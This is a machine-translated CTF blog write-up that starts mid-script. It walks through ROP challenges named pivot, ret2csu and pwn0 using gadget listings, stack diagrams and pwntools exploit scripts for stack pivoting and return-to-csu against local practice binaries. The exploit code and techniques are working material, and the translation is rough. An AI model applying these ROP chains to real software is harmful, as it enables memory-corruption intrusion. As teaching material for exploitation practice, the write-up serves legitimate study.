a_address = 0x4005D2 - 0x3ef2
g_address = 0x4007A0 - 0x3ef2
dot_address = 0x4005F7 - 0x3ef2
x_address = 0x4006C8 - 0x3ef2
t_address = 0x4006CB - 0x3ef2
save_address = 0x0601028

rcx_value = 0x4000

print_file_plt = 0x400510

#gadget
mov_eax_zero_pop1 = 0x0400610
pop_rdx_rcx_bextr = 0x040062A
xlat = 0x0400628
pop_rdi = 0x04006a3
stosb = 0x0400639

payload = b'*' * 40
payload += p64(mov_eax_zero_pop1) + p64(0x0) + p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(f_address) + p64(xlat) + p64(pop_rdi) + p64(save_address) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(l_address - ord('f')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(a_address - ord('l')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(g_address - ord('a')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(dot_address - ord('g')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(t_address - ord('.')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(x_address - ord('t')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(t_address - ord('x')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdi) + p64(save_address) + p64(print_file_plt)

p.sendline(payload)

p.interactive()

pivot

First, there are two functions available , Namely foothold_function(), however ret2win stay lib in , You can rely on foothold_function() Find the offset of ret2win, hold .got.plt The address of the table is changed by offset ;

But what? , There are two inputs , The first input , Put the input on the heap , The second input is on the stack , But his input is limited , by 64 Bytes , When my stack overflows to the return address, I need 40 Bytes , There are only three left to fill in , It's not enough for me to get foothold_function My address , So you need to move the stack to that heap , There are 100h The space can be operated , It's enough to do a bunch of operations .

First look at gadget:

$ ROPgadget --binary pivot --only 'xchg|shl|shr|xor|sub|add|pop|mov|ret'
Gadgets information
============================================================
0x0000000000400916 : add al, bpl ; ret
0x0000000000400917 : add al, ch ; ret
0x00000000004009c2 : add bl, al ; add rax, rbp ; ret
0x000000000040078f : add bl, dh ; ret
0x0000000000400a3d : add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400a3b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400a3c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x00000000004008ec : add byte ptr [rax], al ; add cl, cl ; ret
0x00000000004007c6 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040078e : add byte ptr [rax], al ; ret
0x00000000004007c5 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040078d : add byte ptr [rax], r8b ; ret
0x0000000000400827 : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004008ee : add cl, cl ; ret
0x00000000004009c5 : add eax, ebp ; ret
0x00000000004006b3 : add esp, 8 ; ret
0x00000000004009c4 : add rax, rbp ; ret
0x00000000004006b2 : add rsp, 8 ; ret
0x0000000000400822 : mov byte ptr [rip + 0x20084f], 1 ; pop rbp ; ret
0x00000000004009c1 : mov eax, dword ptr [rax] ; ret
0x00000000004009c0 : mov rax, qword ptr [rax] ; ret
0x0000000000400a2c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a2e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a30 : pop r14 ; pop r15 ; ret
0x0000000000400a32 : pop r15 ; ret
0x00000000004009bb : pop rax ; ret
0x0000000000400a2b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a2f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007c8 : pop rbp ; ret
0x0000000000400a33 : pop rdi ; ret
0x0000000000400a31 : pop rsi ; pop r15 ; ret
0x0000000000400a2d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b6 : ret
0x0000000000400a45 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400a44 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004009be : xchg eax, esp ; ret
0x00000000004009bd : xchg rax, rsp ; ret

Unique gadgets found: 37

Construction stack :

|----------------|
|rbp:****       |
|----------------|
|rop chain 1:0x04009bb(pop rax ; ret)
|----------------|
|leakaddr
|----------------|
|rop chain 2:0x04009bd(xchg rax, rsp ; ret)
|----------------|

 Another stack 
|----------------|
|foothold_function
|----------------|
|pop rax ; ret
|----------------|
|foothold_function GOT_PLT Address 
|----------------|
|mov rax, qword ptr [rax] ; ret
|----------------|
|pop rbp ; ret
|----------------|
| The offset between two functions offset
|----------------|
|add rax, rbp ; ret
|----------------|
|call rax
|----------------|

Using code :

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./pivot")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

pivot = ELF('./pivot')
libpivot = ELF('./libpivot.so')

foothold_plt     = pivot.plt['foothold_function']
foothold_got_plt = pivot.got['foothold_function']

foothold_sym = libpivot.symbols['foothold_function']
ret2win_sym  = libpivot.symbols['ret2win']
offset = int(ret2win_sym - foothold_sym)

pop_rax = 0x04009bb
xchg_rax_rsp = 0x04009bd
pop_rbp = 0x04007c8
mov_rax_rax = 0x04009c0
add_rax_rbp = 0x04009c4
#0x4007c1 <deregister_tm_clones+33>: jmp rax
jump_rax = 0x4007c1

#debug("b *0x0040095d")
leakaddr = int(p.recv().split()[20], 16)

payload1 = p64(foothold_plt) + p64(pop_rax) + p64(foothold_got_plt)
payload1 += p64(mov_rax_rax) + p64(pop_rbp) + p64(offset) + p64(add_rax_rbp) + p64(jump_rax)
p.sendline(payload1)

p.recvuntil('> ')
payload2 = b'*' * 40
payload2 += p64(pop_rax) + p64(leakaddr) + p64(xchg_rax_rsp)
p.sendline(payload2)

p.interactive()

ret2csu

First read the article to understand :

asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf

First of all, a wave of Gadget

$ ropper --file ret2csu 
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Gadgets
=======

0x000000000040057e: adc byte ptr [rax], ah; jmp rax; 
0x000000000040054f: add bl, dh; ret; 
0x00000000004004da: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x00000000004006ad: add byte ptr [rax], al; add bl, dh; ret; 
0x00000000004006ab: add byte ptr [rax], al; add byte ptr [rax], al; add bl, dh; ret; 
0x0000000000400611: add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret; 
0x0000000000400622: add byte ptr [rax], al; add byte ptr [rdi + 1], bh; call 0x510; nop; pop rbp; ret; 
0x0000000000400628: add byte ptr [rax], al; call 0x510; nop; pop rbp; ret; 
0x0000000000400623: add byte ptr [rax], al; mov edi, 1; call 0x510; nop; pop rbp; ret; 
0x0000000000400586: add byte ptr [rax], al; pop rbp; ret; 
0x00000000004006b2: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret; 
0x0000000000400574: add byte ptr [rax], al; test rax, rax; je 0x588; pop rbp; mov edi, 0x601038; jmp rax; 
0x00000000004005b6: add byte ptr [rax], al; test rax, rax; je 0x5c8; pop rbp; mov edi, 0x601038; jmp rax; 
0x0000000000400585: add byte ptr [rax], r8b; pop rbp; ret; 
0x00000000004005e7: add byte ptr [rcx], al; pop rbp; ret; 
0x0000000000400624: add byte ptr [rdi + 1], bh; call 0x510; nop; pop rbp; ret; 
0x0000000000400626: add dword ptr [rax], eax; add byte ptr [rax], al; call 0x510; nop; pop rbp; ret; 
0x00000000004004d6: add eax, 0x200b1d; test rax, rax; je 0x4e2; call rax; 
0x00000000004004d6: add eax, 0x200b1d; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret; 
0x00000000004004e3: add esp, 8; ret; 
0x00000000004004e2: add rsp, 8; ret; 
0x00000000004004d9: and byte ptr [rax], al; test rax, rax; je 0x4e2; call rax; 
0x00000000004004d9: and byte ptr [rax], al; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret; 
0x000000000040060b: call 0x500; mov eax, 0; pop rbp; ret; 
0x000000000040062a: call 0x510; nop; pop rbp; ret; 
0x00000000004005dd: call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x0000000000400793: call qword ptr [rax]; 
0x00000000004004e0: call rax; 
0x00000000004004e0: call rax; add rsp, 8; ret; 
0x000000000040068c: fmul qword ptr [rax - 0x7d]; ret; 
0x00000000004004d2: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x200b1d; test rax, rax; je 0x4e2; call rax; 
0x00000000004004de: je 0x4e2; call rax; 
0x00000000004004de: je 0x4e2; call rax; add rsp, 8; ret; 
0x0000000000400579: je 0x588; pop rbp; mov edi, 0x601038; jmp rax; 
0x00000000004005bb: je 0x5c8; pop rbp; mov edi, 0x601038; jmp rax; 
0x00000000004007d3: jmp qword ptr [rbp]; 
0x0000000000400581: jmp rax; 
0x00000000004006f3: jmp rsp; 
0x00000000004005e2: mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x0000000000400606: mov dword ptr [rbp + 0x48], edx; mov ebp, esp; call 0x500; mov eax, 0; pop rbp; ret; 
0x0000000000400610: mov eax, 0; pop rbp; ret; 
0x00000000004004d5: mov eax, dword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; 
0x00000000004004d5: mov eax, dword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret; 
0x0000000000400609: mov ebp, esp; call 0x500; mov eax, 0; pop rbp; ret; 
0x00000000004005db: mov ebp, esp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x000000000040057c: mov edi, 0x601038; jmp rax; 
0x0000000000400625: mov edi, 1; call 0x510; nop; pop rbp; ret; 
0x00000000004004d4: mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; 
0x00000000004004d4: mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret; 
0x0000000000400608: mov rbp, rsp; call 0x500; mov eax, 0; pop rbp; ret; 
0x00000000004005da: mov rbp, rsp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x0000000000400583: nop dword ptr [rax + rax]; pop rbp; ret; 
0x00000000004005c5: nop dword ptr [rax]; pop rbp; ret; 
0x00000000004005e5: or ah, byte ptr [rax]; add byte ptr [rcx], al; pop rbp; ret; 
0x00000000004004d3: or byte ptr [rax - 0x75], cl; add eax, 0x200b1d; test rax, rax; je 0x4e2; call rax; 
0x00000000004004d8: or esp, dword ptr [rax]; add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x00000000004005e4: or r12b, byte ptr [r8]; add byte ptr [rcx], al; pop rbp; ret; 
0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret; 
0x000000000040069e: pop r13; pop r14; pop r15; ret; 
0x00000000004006a0: pop r14; pop r15; ret; 
0x00000000004006a2: pop r15; ret; 
0x000000000040057b: pop rbp; mov edi, 0x601038; jmp rax; 
0x000000000040069b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 
0x000000000040069f: pop rbp; pop r14; pop r15; ret; 
0x0000000000400588: pop rbp; ret; 
0x00000000004006a3: pop rdi; ret; 
0x00000000004006a1: pop rsi; pop r15; ret; 
0x000000000040069d: pop rsp; pop r13; pop r14; pop r15; ret; 
0x0000000000400607: push rbp; mov rbp, rsp; call 0x500; mov eax, 0; pop rbp; ret; 
0x00000000004005d9: push rbp; mov rbp, rsp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x00000000004004dd: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x00000000004004d7: sbb eax, 0x4800200b; test eax, eax; je 0x4e2; call rax; 
0x00000000004004d7: sbb eax, 0x4800200b; test eax, eax; je 0x4e2; call rax; add rsp, 8; ret; 
0x00000000004006b5: sub esp, 8; add rsp, 8; ret; 
0x00000000004004d1: sub esp, 8; mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; 
0x00000000004006b4: sub rsp, 8; add rsp, 8; ret; 
0x00000000004004d0: sub rsp, 8; mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; 
0x00000000004004dc: test eax, eax; je 0x4e2; call rax; 
0x00000000004004dc: test eax, eax; je 0x4e2; call rax; add rsp, 8; ret; 
0x0000000000400577: test eax, eax; je 0x588; pop rbp; mov edi, 0x601038; jmp rax; 
0x00000000004005b9: test eax, eax; je 0x5c8; pop rbp; mov edi, 0x601038; jmp rax; 
0x00000000004004db: test rax, rax; je 0x4e2; call rax; 
0x00000000004004db: test rax, rax; je 0x4e2; call rax; add rsp, 8; ret; 
0x0000000000400576: test rax, rax; je 0x588; pop rbp; mov edi, 0x601038; jmp rax; 
0x00000000004005b8: test rax, rax; je 0x5c8; pop rbp; mov edi, 0x601038; jmp rax; 
0x000000000040062f: nop; pop rbp; ret; 
0x00000000004004e6: ret;

The main difficulty of this problem is to control rdx, Everything else is easy to say

 Insert picture description here

Construction stack ( You have to exe Find being in call To the address of the basic do nothing function ):

|----------------|
|rbp:****       |
|----------------|
|pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;( Control the following call) 
|----------------|
|0x0
|----------------|
|0x1( These two constructions make the following jne No jump occurs during comparison )
|----------------|
| Found function address (0x600E48 Address saved 0x4006B4|----------------|
| Three parameter values ( Because that instruction is edi, So the first parameter needs to use something else gadget To assign a value )
|----------------|
|pop rdi; ret ( Yes rdi Assign parameters separately )
|----------------|
| The first parameter is 
|----------------|
| Objective function 
|----------------|

Using code :

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./ret2csu")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

pivot = ELF('./ret2csu')
libpivot = ELF('./libret2csu.so')

#debug("b *0x040060B")
ret2win_plt = 0x0400510

rdi = 0xDEADBEEFDEADBEEF
rsi = 0xCAFEBABECAFEBABE
rdx = 0xD00DF00DD00DF00D

pop_rdi = 0x04006a3
pop_rdx_rbp_r12_r15 = 0x40069A
mov_rdx_rsi = 0x00400680
void_function = 0x600E48

payload = b'*' * 40
payload += p64(pop_rdx_rbp_r12_r15) + p64(0x0) + p64(0x1) + p64(void_function) + p64(0x0) + p64(rsi) + p64(rdx) + p64(mov_rdx_rsi) +  p64(0x0) * 7
payload += p64(pop_rdi) + p64(rdi)
payload += p64(ret2win_plt)
p.sendline(payload)

p.interactive()

pwn0

After downloading the following file , Put it in linux Under the /home/pwn/pwn0/
link :https://pan.baidu.com/s/11lm17lllPZ5A8rrcuCELAg
Extraction code :knpf

flag It must be put in /home/pwn/pwn0 in

A first Gadget( This introductory question is not very interesting )

$ ropper --file pwn0 
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Gadgets
=======
0x0804881d: adc al, 0x41; ret; 
0x0804854e: adc al, 0x50; call edx; 
0x0804863d: adc byte ptr [eax], bh; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x080484c1: add al, 8; call eax; 
0x080484fb: add al, 8; call edx; 
0x080486af: add bl, dh; ret; 
0x0804863f: add byte ptr [eax], al; add byte ptr [eax], al; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x08048640: add byte ptr [eax], al; add byte ptr [ebx - 0x723603b3], cl; popal; cld; ret; 
0x080483d4: add byte ptr [eax], al; add esp, 8; pop ebx; ret; 
0x08048641: add byte ptr [eax], al; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x08048642: add byte ptr [ebx - 0x723603b3], cl; popal; cld; ret; 
0x0804863b: add esp, 0x10; mov eax, 0; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x08048599: add esp, 0x10; nop; leave; ret; 
0x080486a5: add esp, 0xc; pop ebx; pop esi; pop edi; pop ebp; ret; 
0x080483d6: add esp, 8; pop ebx; ret; 
0x0804881a: and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x08048594: call 0x420; add esp, 0x10; nop; leave; ret; 
0x080483d1: call 0x430; add esp, 8; pop ebx; ret; 
0x080485cc: call 0x55b; nop; leave; ret; 
0x0804855a: call dword ptr [ebp - 0x77]; 
0x08048653: call dword ptr [esi + 0x53]; 
0x080484c3: call eax; 
0x080484fd: call edx; 
0x08048818: dec ebp; push cs; and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x08048644: dec ebp; cld; leave; lea esp, [ecx - 4]; ret; 
0x0804854d: in al, dx; adc al, 0x50; call edx; 
0x0804854b: in eax, 0x83; in al, dx; adc al, 0x50; call edx; 
0x0804863a: inc dword ptr [ebx + 0xb810c4]; add byte ptr [eax], al; add byte ptr [ebx - 0x723603b3], cl; popal; cld; ret; 
0x08048598: inc dword ptr [ebx - 0x366fef3c]; ret; 
0x08048815: inc ecx; push cs; xor byte ptr [ebp + 0xe], cl; and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x0804881e: inc ecx; ret; 
0x0804881b: inc edi; push cs; adc al, 0x41; ret; 
0x080483cf: je 0x3d6; call 0x430; add esp, 8; pop ebx; ret; 
0x080484b6: je 0x4c9; push ebp; mov ebp, esp; sub esp, 0x14; push 0x804a030; call eax; 
0x08048547: je 0x53b; push ebp; mov ebp, esp; sub esp, 0x14; push eax; call edx; 
0x080486a4: jecxz 0x629; les ecx, ptr [ebx + ebx*2]; pop esi; pop edi; pop ebp; ret; 
0x0804872f: jmp esp; 
0x080485ca: jne 0x5d1; call 0x55b; nop; leave; ret; 
0x08048647: lea esp, [ecx - 4]; ret; 
0x080483d7: les ecx, ptr [eax]; pop ebx; ret; 
0x080486a6: les ecx, ptr [ebx + ebx*2]; pop esi; pop edi; pop ebp; ret; 
0x0804863c: les edx, ptr [eax]; mov eax, 0; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x0804859a: les edx, ptr [eax]; nop; leave; ret; 
0x0804863e: mov eax, 0; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x080484f2: mov ebp, esp; sub esp, 0x10; push eax; push 0x804a030; call edx; 
0x080484b9: mov ebp, esp; sub esp, 0x14; push 0x804a030; call eax; 
0x0804854a: mov ebp, esp; sub esp, 0x14; push eax; call edx; 
0x08048490: mov ebx, dword ptr [esp]; ret; 
0x08048643: mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x080486a7: or al, 0x5b; pop esi; pop edi; pop ebp; ret; 
0x080484c2: or bh, bh; rol byte ptr [ebx - 0xc36ef3c], 1; ret; 
0x080484fc: or bh, bh; rol byte ptr [ebx - 0xc36ef3c], cl; ret; 
0x080486ab: pop ebp; ret; 
0x080486a8: pop ebx; pop esi; pop edi; pop ebp; ret; 
0x080483d9: pop ebx; ret; 
0x080486aa: pop edi; pop ebp; ret; 
0x080486a9: pop esi; pop edi; pop ebp; ret; 
0x080484be: push 0x804a030; call eax; 
0x080484f8: push 0x804a030; call edx; 
0x0804881c: push cs; adc al, 0x41; ret; 
0x08048819: push cs; and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x08048816: push cs; xor byte ptr [ebp + 0xe], cl; and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x08048593: push eax; call 0x420; add esp, 0x10; nop; leave; ret; 
0x0804854f: push eax; call edx; 
0x080484f7: push eax; push 0x804a030; call edx; 
0x080484f1: push ebp; mov ebp, esp; sub esp, 0x10; push eax; push 0x804a030; call edx; 
0x080484b8: push ebp; mov ebp, esp; sub esp, 0x14; push 0x804a030; call eax; 
0x08048549: push ebp; mov ebp, esp; sub esp, 0x14; push eax; call edx; 
0x080484de: ret 0xeac1; 
0x080484c4: rol byte ptr [ebx - 0xc36ef3c], 1; ret; 
0x080484fe: rol byte ptr [ebx - 0xc36ef3c], cl; ret; 
0x08048546: sal byte ptr [edx + esi*8 + 0x55], cl; mov ebp, esp; sub esp, 0x14; push eax; call edx; 
0x08048491: sbb al, 0x24; ret; 
0x08048814: sub al, 0x41; push cs; xor byte ptr [ebp + 0xe], cl; and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x080484f4: sub esp, 0x10; push eax; push 0x804a030; call edx; 
0x080484bb: sub esp, 0x14; push 0x804a030; call eax; 
0x0804854c: sub esp, 0x14; push eax; call edx; 
0x080483cd: test eax, eax; je 0x3d6; call 0x430; add esp, 8; pop ebx; ret; 
0x08048817: xor byte ptr [ebp + 0xe], cl; and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x08048657: xor eax, 0x81fffffe; ret; 
0x08048645: cld; leave; lea esp, [ecx - 4]; ret; 
0x08048649: cld; ret; 
0x08048646: leave; lea esp, [ecx - 4]; ret; 
0x0804859d: leave; ret; 
0x0804848f: nop; mov ebx, dword ptr [esp]; ret; 
0x0804859c: nop; leave; ret; 
0x0804848d: nop; nop; mov ebx, dword ptr [esp]; ret; 
0x0804848b: nop; nop; nop; mov ebx, dword ptr [esp]; ret; 
0x08048489: nop; nop; nop; nop; mov ebx, dword ptr [esp]; ret; 
0x080485c9: popal; jne 0x5d1; call 0x55b; nop; leave; ret; 
0x08048648: popal; cld; ret; 
0x080483c2: ret;

Stack construction :

This is very simple , But I don't think so ,flag Still didn't come out , because fgets Input 25,flag The content just doesn't come out , But if you build it by yourself ROP Chain to call different functions , Everything else is easy to control , because 32 Position depends on ebp+8,... To pass on the parameters , How to control ebp, No suitable Gadget, I can't get the stack address , If you can get it , You can also do , But it seems that the stack address can be revealed , There is one puts function .... Check again , opened ASLR, The stack address will change , Can't control , There is a problem with this problem

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./pwn0")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x080485AC")

f_open_plt = 0x08048450
modes_addr = 0x080486D0
file_name_addr = 0x080486D2

f_gets_plt = 0x08048410

puts_plt = 0x08048420

payload = b'*' * 32
payload += p32(0x61616161)
p.sendline(payload)

p.interactive()
原网站

版权声明
本文为[P1n9]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202280600251406.html